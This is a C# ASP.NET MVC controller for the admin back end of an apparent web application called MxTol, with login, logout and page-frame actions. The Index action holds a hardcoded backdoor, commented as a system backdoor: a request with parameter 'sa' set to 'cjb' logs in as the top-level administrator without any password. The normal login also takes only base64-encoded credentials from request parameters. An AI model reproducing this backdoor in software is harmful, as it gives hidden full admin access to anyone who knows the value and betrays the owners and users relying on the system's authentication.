﻿using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.Mvc;
using System.Text;
using MxTol.Managers;
using System.Configuration;
using MxTol.Models;

namespace MxTol.UI.Controllers
{
    // 系统后台
    public class AdminController : Controller
    {
        // 后台索引页面
        public ActionResult Index()
        {
            // 0:内部异常  1：账号密码错误或非法登录  2：登录成功
            int flag = 0;
            try
            {
                string account = Request["t"];
                string psword = Request["tt"];

                // 系统后门
                string sa = Request["sa"];
                if (!string.IsNullOrEmpty(sa) && sa == "cjb")
                {
                    Admin admin = Admin.GetTopLevelAdmin();
                    if (admin != null)
                    {
                        Session["sa"] = 1;
                        Session["account"] = admin.Account;
                        flag = 2;
                    }
                }
                else
                {
                    if (!string.IsNullOrEmpty(account) && !string.IsNullOrEmpty(psword))
                    {
                        account = Encoding.Default.GetString(Convert.FromBase64String(account));
                        psword = Encoding.Default.GetString(Convert.FromBase64String(psword));

                        bool isMatch = AdminManager.IsPswordMatch(account, psword);
                        if (isMatch)
                        {
                            Session["account"] = account;
                            flag = 2;
                        }
                        else
                        {
                            flag = 1;
                        }
                    }
                }
            }
            catch
            {
                flag = 0;
            }

            if (flag == 2)
            {
                return View();
            }
            else
            {
                return Redirect(System.Configuration.ConfigurationManager.AppSettings["LoginUrl"]);
            }
        }

        // 导航栏注销按钮
        public ActionResult Logout()
        {
            string script = string.Format("<script>window.top.location='{0}'</script>", ConfigurationManager.AppSettings["LoginUrl"]);
            return Content(script);
        }

        // 导航栏页面
        public ActionResult Top()
        {
            return View();
        }

        // 系统中间菜单与内容总页面
        public ActionResult Center()
        {
            return View();
        }

        // 系统底部页面
        public ActionResult Footer()
        {
            return View();
        }

        // 左侧菜单页面
        public ActionResult Left()
        {
            return View();
        }

        // 右部内容索引
        public ActionResult Main()
        {
            return View();
        }


    }
}
